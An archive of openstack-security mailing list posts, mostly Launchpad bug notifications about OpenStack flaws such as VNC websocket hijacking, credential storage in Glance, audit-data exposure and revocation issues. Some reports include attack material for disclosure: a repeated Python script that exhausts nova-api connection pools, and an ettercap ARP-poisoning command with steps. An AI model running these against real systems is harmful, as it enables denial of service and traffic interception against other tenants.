VM ? or by using nova CLI like 'nova reboot --hard [uuid]'? You can find that the vm can have another volume when you try to hard reboot the rollbacked vm. When the vm is hard rebooted, nova request a info for 'block device mapping' to make xml again, but BDM table in Nova has wrong lun-id in connection_info column, so vm has another volume mapping in this situation. Thank you. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1416314 Title: BUG : when live-migration failed, lun-id couldn't be rollback Status in OpenStack Compute (Nova): Confirmed Bug description: Hi, guys I'm testing live-migration with openstack Juno. when live-migrate failed with error, lun-id of connection_info in bdm table couldn't be rollback my test version is following : Openstack Version : Juno ( 2014.2.1) Compute Node OS : 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 backend storage : EMC VNX 5400 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 2 cinder volumes (vol01, vol02) 4) attach 2 volumes to vm01 (vdb, vdc) 5) host#2's iscsi interface down - this situation can be occurred frequently in production 6) live-migrate vm01 from host#1 to host#2 7) live-migrate fails - please check connection_info(lun-id) of bdm at this time then you can find the lun-id of cinder-volume is not be rollback - please check lun's storage_group by using unisphere then you can find lun has two storage groups. This Bug is very critical because the VM can have different lun mappings when this case is occurred, so that filesystem of volume can be break. Actually this case was occurred and my vm's filesystem was broken. and I think every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. please fix this bug ASAP. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1416314/+subscriptions From ykshirsa at netapp.com Thu Mar 26 02:03:39 2015 From: ykshirsa at netapp.com (Yogesh) Date: Thu, 26 Mar 2015 02:03:39 -0000 Subject: [Openstack-security] [Bug 1416314] Re: BUG : when live-migration failed, lun-id couldn't be rollback References: <20150130090750.712.84034.malonedeb@chaenomeles.canonical.com> Message-ID: <20150326020339.26046.67316.malone@gac.canonical.com> Hi Hyun, Yes, I did a hard reboot the vm purposely to see the behavior based on issue that you reported. However, I did not see it happening the way you described. For me the size of the vm and the mapping to the host remain as expected(i.e. the original size and host mapping). So, on that front, I could not reproduce your issue. May be someone from the nova team could try reproducing it at their end. Regards, Yogesh -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1416314 Title: BUG : when live-migration failed, lun-id couldn't be rollback Status in OpenStack Compute (Nova): Confirmed Bug description: Hi, guys I'm testing live-migration with openstack Juno. when live-migrate failed with error, lun-id of connection_info in bdm table couldn't be rollback my test version is following : Openstack Version : Juno ( 2014.2.1) Compute Node OS : 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 backend storage : EMC VNX 5400 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 2 cinder volumes (vol01, vol02) 4) attach 2 volumes to vm01 (vdb, vdc) 5) host#2's iscsi interface down - this situation can be occurred frequently in production 6) live-migrate vm01 from host#1 to host#2 7) live-migrate fails - please check connection_info(lun-id) of bdm at this time then you can find the lun-id of cinder-volume is not be rollback - please check lun's storage_group by using unisphere then you can find lun has two storage groups. This Bug is very critical because the VM can have different lun mappings when this case is occurred, so that filesystem of volume can be break. Actually this case was occurred and my vm's filesystem was broken. and I think every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. please fix this bug ASAP. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1416314/+subscriptions From 1100220 at bugs.launchpad.net Thu Mar 26 09:59:02 2015 From: 1100220 at bugs.launchpad.net (Stuart McLaren) Date: Thu, 26 Mar 2015 09:59:02 -0000 Subject: [Openstack-security] [Bug 1100220] Re: Swift+Glance stops working after changing service password References: <20130116103855.7967.49763.malonedeb@soybean.canonical.com> Message-ID: <20150326095902.7088.54163.malone@chaenomeles.canonical.com> You can configure credentials in a different way which avoids the password being stored in the database (even for the single tenant swift store). This can be done via the glance-swift.conf file, eg: https://github.com/openstack/glance/blob/master/etc/glance- swift.conf.sample when you do this, the 'reference' is stored in the database rather than the credentials. The current username/password are swapped in when required. I think this means you can do a 'rolling' password change by using two users in the same tenant. While changing password some glance nodes will have tenantX:user1 (valid) and some nodes will have tenantX:user2 (also valid). (Though I haven't tested that). Should we consider moving to this as the default configuration? (There is no solution to the previously existing entries with passwords - but I would see that as a different bug.) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1100220 Title: Swift+Glance stops working after changing service password Status in OpenStack Glance backend store-drivers library (glance_store): Confirmed Status in OpenStack Security Advisories: New Bug description: Hello! We have some trouble with glance+swift storage. After changing password for account, used for Keystone authentication in Glance and Swift, glance stops working with errors 500 (HTTPInternalServerError) and 401 (HTTPUnauthorized). I investigated this issue and found that Glance stores image or snapshot location in database (mysql or sqlite) with _full_ swift URI with login and password. Example: swift+http://admin%3Aadmin:%PASSWORD%@%HOST%:5000/v2.0/glance/357a3fe7-313c-411c-b0b2-bcd6491d12a1 When we changed password in Keystone, this credentials are outdated BUT Glance STILL USE IT for authenticating in Swift, ignoring glance- api.conf and glance-api-paste. In result, we got HTTP500 error in reply to any request to glance (like glance image-download) and HTTP401 error in glance-api.log I can find only one method to workaround this - I manually changed this credentials in MySQL. In our situation (5 images) this way is idiotic, but real. But what if we have 500 or 5000 images and snapshots? I think, glance MUST have any method to change credentials without manual changing thousands of DB records. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1100220/+subscriptions From gordon.chung at enovance.com Thu Mar 26 17:53:48 2015 From: gordon.chung at enovance.com (gordon chung) Date: Thu, 26 Mar 2015 17:53:48 -0000 Subject: [Openstack-security] [Bug 1376915] Re: Access to sensitive audit data is not properly restricted References: <20141002203501.17647.70947.malonedeb@chaenomeles.canonical.com> Message-ID: <20150326175348.7280.30141.malone@chaenomeles.canonical.com> so there is a possible workaround for this in Kilo. in Kilo, it's possible to publish to different topics so you could create two pipelines, one with non-audit data and another for audit data. they would publish to two different topics. from there you could have two collectors listening to each topic and writing to a separate db/target. that way you can create a separation of data. that said, it does involve maintaining two different targets (and two apis if both write to db). i don't know if this is a viable workaround? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1376915 Title: Access to sensitive audit data is not properly restricted Status in OpenStack Telemetry (Ceilometer): In Progress Status in OpenStack Security Advisories: Won't Fix Bug description: Audit data stored in http.request and http.response meters is not being adequately protected. Admins are allowed to access audit data for all projects rather than just their own. Non-admins are allowed to access audit data for all users within their project rather than just themselves. A non-admin user should not be able to see what other users are doing, and being an admin in project A does not make you an admin in project B. The following blueprints acknowledge the lack of this support. To quote one: "as ceilometer collects more and more different types of data... some of the data collected may be 'privileged' data that only admins should have access to regardless of membership to a tenant (ie. audit data should only be visible to admins)". That day has come, and the implementation of these blueprints is still missing. At this point there is a security hole here (data exposure) which needs to be plugged immediately, either with the implementation of one of these blueprints (which should probably be merged together) or by a less flexible but more easily implemented stopgap measure. Given time constraints and the urgency of closing this hole, I propose the latter, though the blueprints will obviously still be necessary for a more robust and complete solution. https://blueprints.launchpad.net/ceilometer/+spec/advanced-policy-rule and https://blueprints.launchpad.net/ceilometer/+spec/admin-only-api- access and https://blueprints.launchpad.net/ceilometer/+spec/ready- ceilometer-rbac-keystone-v3 To manage notifications about this bug go to: https://bugs.launchpad.net/ceilometer/+bug/1376915/+subscriptions From lars at redhat.com Thu Mar 26 18:23:09 2015 From: lars at redhat.com (Lars Kellogg-Stedman) Date: Thu, 26 Mar 2015 18:23:09 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150326182309.7181.16110.malone@chaenomeles.canonical.com> You will find yourself here if your formerly-working console connections have suddenly started failing with "ValidationError: Origin header protocol does not match this host". This is because the changes introduced to resolve this issue make the value of "novncproxy_base_url" important on the host running nova-novncproxy, whereas previously this value was unused except by nova-compute. The default value for novncproxy_base_url uses an "http://" url, which means that any https:// connections to your console will be rejected until you update this configuration option and restart nova-novncproxy. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: Fix Released Status in OpenStack Compute (nova) juno series: Fix Committed Status in OpenStack Security Advisories: Fix Released Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From asalkeld at mirantis.com Mon Mar 30 04:28:24 2015 From: asalkeld at mirantis.com (Angus Salkeld) Date: Mon, 30 Mar 2015 04:28:24 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150330042828.26369.80330.launchpad@gac.canonical.com> ** Changed in: heat Importance: Undecided => Medium ** Changed in: heat Milestone: None => kilo-rc1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From asalkeld at mirantis.com Tue Mar 31 02:33:49 2015 From: asalkeld at mirantis.com (Angus Salkeld) Date: Tue, 31 Mar 2015 02:33:49 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150331023353.7424.26811.launchpad@chaenomeles.canonical.com> ** Changed in: heat Milestone: kilo-rc1 => liberty-1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From robert.clark at hp.com Tue Mar 31 10:25:36 2015 From: robert.clark at hp.com (Clark, Robert Graham) Date: Tue, 31 Mar 2015 10:25:36 +0000 Subject: [Openstack-security] Changes to the OpenStack Security mailing list. Message-ID: Hi OpenStack Security People! As the OSSG moves to align more with the standard practices of OpenStack integrated teams we are changing how the mailing list is used. The OpenStack Security mailing list currently has 643 registered members but most are consumers only, with most posts coming from automated security notifications for Security Impact Gerrit tags and Security Bugs from Launchpad. Any new security related discussions should be started on the OpenStack development list: openstack-dev at lists.openstack.org and use the [security] tag. The intention is that once the OSSG leadership elections (soon to be announced) have completed, we will change the settings on the openstack-security mailing list, making it largely read-only. The intention is to retain it for security notifications from Gerrit and Launchpad but general discussions etc should take place on openstack-dev. This will increase the exposure of the OSSG, making the team more approachable and visible to developers while bringing us more in line with the OpenStack way of conducting our business. We don't expect this change to be overly disruptive, this has been discussed at a number of previous IRC meetings but perhaps this email will serve as a reminder to use openstack-dev for security discussions and to update any email client filters you might be using. Cheers -Rob -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 6187 bytes Desc: not available URL: From slukjanov at mirantis.com Tue Mar 31 11:23:36 2015 From: slukjanov at mirantis.com (Sergey Lukjanov) Date: Tue, 31 Mar 2015 11:23:36 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150331112340.8046.35537.launchpad@soybean.canonical.com> ** Changed in: sahara Importance: Undecided => Medium ** Changed in: sahara Status: New => Confirmed ** Changed in: sahara Milestone: liberty-1 => kilo-rc1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): Confirmed Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From sam at code-smash.net Tue Mar 31 11:21:04 2015 From: sam at code-smash.net (Sam Betts) Date: Tue, 31 Mar 2015 11:21:04 -0000 Subject: [Openstack-security] [Bug 1260525] Re: Incomplete XSS fix for ossa/1247675 References: <20131212225614.8529.85762.malonedeb@gac.canonical.com> Message-ID: <20150331112104.7521.42570.malone@chaenomeles.canonical.com> Any status updates on this bug? There has been no activity for over a year, is there more work to do here? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1260525 Title: Incomplete XSS fix for ossa/1247675 Status in OpenStack Dashboard (Horizon): Confirmed Status in OpenStack Security Advisories: Invalid Bug description: The patch for https://bugs.launchpad.net/ossa/+bug/1247675 did not completely fix the reported issue. It failed to completely remove the use of html.strip_tags, which is not intended to be a security function, and does not properly sanitize output. https://github.com/openstack/horizon/blob/master/openstack_dashboard/dashboards/project/volumes/tables.py#L254 To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1260525/+subscriptions From 1274034 at bugs.launchpad.net Tue Mar 31 13:59:37 2015 From: 1274034 at bugs.launchpad.net (Kyle Mestery) Date: Tue, 31 Mar 2015 13:59:37 -0000 Subject: [Openstack-security] [Bug 1274034] Re: Neutron firewall anti-spoofing does not prevent ARP poisoning References: <20140129101504.12361.90017.malonedeb@gac.canonical.com> Message-ID: <20150331135938.26412.81356.launchpad@gac.canonical.com> ** Changed in: neutron Milestone: None => liberty-1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1274034 Title: Neutron firewall anti-spoofing does not prevent ARP poisoning Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Security Advisories: Invalid Status in OpenStack Security Notes: Fix Released Bug description: The neutron firewall driver 'iptabes_firawall' does not prevent ARP cache poisoning. When anti-spoofing rules are handled by Nova, a list of rules was added through the libvirt network filter feature: - no-mac-spoofing - no-ip-spoofing - no-arp-spoofing - nova-no-nd-reflection - allow-dhcp-server Actually, the neutron firewall driver 'iptabes_firawall' handles only MAC and IP anti-spoofing rules. This is a security vulnerability, especially on shared networks. Reproduce an ARP cache poisoning and man in the middle: - Create a private network/subnet 10.0.0.0/24 - Start 2 VM attached to that private network (VM1: IP 10.0.0.3, VM2: 10.0.0.4) - Log on VM1 and install ettercap [1] - Launch command: 'ettercap -T -w dump -M ARP /10.0.0.4/ // output:' - Log on too on VM2 (with VNC/spice console) and ping google.fr => ping is ok - Go back on VM1, and see the VM2's ping to google.fr going to the VM1 instead to be send directly to the network gateway and forwarded by the VM1 to the gw. The ICMP capture looks something like that [2] - Go back to VM2 and check the ARP table => the MAC address associated to the GW is the MAC address of VM1 [1] http://ettercap.github.io/ettercap/ [2] http://paste.openstack.org/show/62112/ To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1274034/+subscriptions From 1163569 at bugs.launchpad.net Tue Mar 31 13:59:19 2015 From: 1163569 at bugs.launchpad.net (Kyle Mestery) Date: Tue, 31 Mar 2015 13:59:19 -0000 Subject: [Openstack-security] [Bug 1163569] Re: security groups don't work with vip and ovs plugin References: <20130402204346.20639.18981.malonedeb@wampee.canonical.com> Message-ID: <20150331135921.22185.85126.launchpad@wampee.canonical.com> ** Changed in: neutron Status: In Progress => Confirmed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1163569 Title: security groups don't work with vip and ovs plugin Status in OpenStack Neutron (virtual network service): Confirmed Status in OpenStack Security Notes: In Progress Bug description: http://codepad.org/xU8G4s00 I pinged nachi and he suggested to try using: interface_driver = quantum.agent.linux.interface.BridgeInterfaceDriver But after setting this it seems like the vip does not work at all. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1163569/+subscriptions From 1430951 at bugs.launchpad.net Tue Mar 31 18:30:39 2015 From: 1430951 at bugs.launchpad.net (Adam Young) Date: Tue, 31 Mar 2015 18:30:39 -0000 Subject: [Openstack-security] [Bug 1430951] Re: Revocation causes duplicate (and overly broad?) events in revocation table References: <20150311182038.25203.5527.malonedeb@chaenomeles.canonical.com> Message-ID: <20150331183040.7150.67107.launchpad@chaenomeles.canonical.com> ** Changed in: keystone Assignee: (unassigned) => Adam Young (ayoung) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1430951 Title: Revocation causes duplicate (and overly broad?) events in revocation table Status in OpenStack Identity (Keystone): Triaged Bug description: Revoke a project scoped token You see 3 entries in revocation_event table 1) (id, user_id, project_id, role_id, issued_before) 2) (id, user_id,, issued_before) 3) (id, user_id,, issued_before) 2 & 3 are redundant. Definitely 3) is redundant as it is same as 2) BTW, this from master branch as of 3/11/2015 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1430951/+subscriptions From 1430951 at bugs.launchpad.net Tue Mar 31 20:09:05 2015 From: 1430951 at bugs.launchpad.net (Adam Young) Date: Tue, 31 Mar 2015 20:09:05 -0000 Subject: [Openstack-security] [Bug 1430951] Re: Revocation causes duplicate (and overly broad?) events in revocation table References: <20150311182038.25203.5527.malonedeb@chaenomeles.canonical.com> Message-ID: <20150331200905.7381.40486.malone@chaenomeles.canonical.com> The reason we get both a revoke by Grant and a revoke by user ID is deliberate, and until we sort things out, we can't really change it. If we are doing persisted tokens, we can only revoke by user id If we are doing non-persisted tokens, we don't get a TRL, and break PKI tokens. The emit code like this :git.openstack.org/cgit/openstack/keystone/tree/keystone/assignment/core.py#n380 self.identity_api.emit_invalidate_user_token_persistence(user_id) self.revoke_api.revoke_by_grant(role_id, user_id=user_id, project_id=tenant_id) Needs to be a single call, that makes the correct form of revocation depending on what is enabled. This is a significant enough rewrite that I am reluctant to do in the Kilo code base. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1430951 Title: Revocation causes duplicate (and overly broad?) events in revocation table Status in OpenStack Identity (Keystone): Triaged Bug description: Revoke a project scoped token You see 3 entries in revocation_event table 1) (id, user_id, project_id, role_id, issued_before) 2) (id, user_id,, issued_before) 3) (id, user_id,, issued_before) 2 & 3 are redundant. Definitely 3) is redundant as it is same as 2) BTW, this from master branch as of 3/11/2015 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1430951/+subscriptions From 1430951 at bugs.launchpad.net Tue Mar 31 20:13:23 2015 From: 1430951 at bugs.launchpad.net (Adam Young) Date: Tue, 31 Mar 2015 20:13:23 -0000 Subject: [Openstack-security] [Bug 1430951] Re: Revocation causes duplicate (and overly broad?) events in revocation table References: <20150311182038.25203.5527.malonedeb@chaenomeles.canonical.com> Message-ID: <20150331201323.25874.95943.malone@gac.canonical.com> Are you testing with V2 or V3 tokens? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1430951 Title: Revocation causes duplicate (and overly broad?) events in revocation table Status in OpenStack Identity (Keystone): Triaged Bug description: Revoke a project scoped token You see 3 entries in revocation_event table 1) (id, user_id, project_id, role_id, issued_before) 2) (id, user_id,, issued_before) 3) (id, user_id,, issued_before) 2 & 3 are redundant. Definitely 3) is redundant as it is same as 2) BTW, this from master branch as of 3/11/2015 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1430951/+subscriptions From gerrit2 at review.openstack.org Tue Mar 31 20:50:52 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 31 Mar 2015 20:50:52 +0000 Subject: [Openstack-security] [openstack/nova-specs] SecurityImpact review request change Ie8d653eed2fea244be6fa535ed6fd003ea15c2bb Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/164813 Log: commit 1e091e6d6f878b3095ba98813f4efbbea6546143 Author: David Hu Date: Mon Mar 16 10:44:09 2015 -0700 Nova admin role Current “admin” role in Nova and other services are pretty static. A user with “admin” role has the super admin privilege not only in Nova, but other services as well. In most organizations, compute administrators and administrators from other services are from distinct group of administrator. If an organization does not allow Nova administrators to make changes to say Cinder or Neutron, then Nova administrators should only have a “Nova specific admin role”, and not the super ”admin” role. Enhance Nova policy to include Nova admin role, so that administrators with 